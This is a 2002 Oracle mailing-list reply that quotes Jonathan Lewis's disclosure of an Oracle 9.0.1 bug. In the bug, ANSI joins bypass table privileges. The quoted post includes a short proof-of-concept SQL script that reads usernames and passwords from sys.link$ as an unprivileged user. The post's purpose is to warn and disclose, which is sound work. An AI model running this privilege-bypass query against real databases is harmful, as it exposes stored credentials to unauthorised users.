Re: Security Hole

Is this on 9i databases or is 8 involved? Ruth ----- Original Message -----
To: "Multiple recipients of list ORACLE-L" <ORACLE-L_at_fatcity.com> Sent: Tuesday, April 16, 2002 7:33 AM

> This just in from comp.databases.oracle.server.
>
> See metalink bug 2121935.
>
> Using ANSI syntax joins (CROSS JOIN, LEFT OUTER etc)
> allows you to view data from tables on which you have no
> privilege. For example, try this COMPLETE script:
>
> connect / as sysdba
> create user us1 identified by us1;
> grant create session to us1;
>
> connect us1/us1
>
> select userid, password
> from
> sys.link$ cross join dual
> ;
>
>
>
> Worse still, if you have the privilege to create views
> then this loophole allows you to seek and destroy
> ANY DATA in the database that you might want to.
>
> The bug is fixed in 9iR2. I didn't see any note
> about a backport, or a security alert on OTN.
>
> Conclusion:
>
> 9.0.1 should not be in use on production system
> until Oracle supplies a fix.
>
>
>
> Jonathan Lewis
> http://www.jlcomp.demon.co.uk
>
> Author of:
> Practical Oracle 8i: Building Efficient Databases
>
> Next Seminar - Australia - July/August
> http://www.jlcomp.demon.co.uk/seminar.html
>
> Host to The Co-Operative Oracle Users' FAQ
> http://www.jlcomp.demon.co.uk/faq/ind_faq.html
>
>
>
>
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> --
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> INET: jonathan_at_jlcomp.demon.co.uk
>
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-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Ruth Gramolini
  INET: rgramolini_at_tax.state.vt.us

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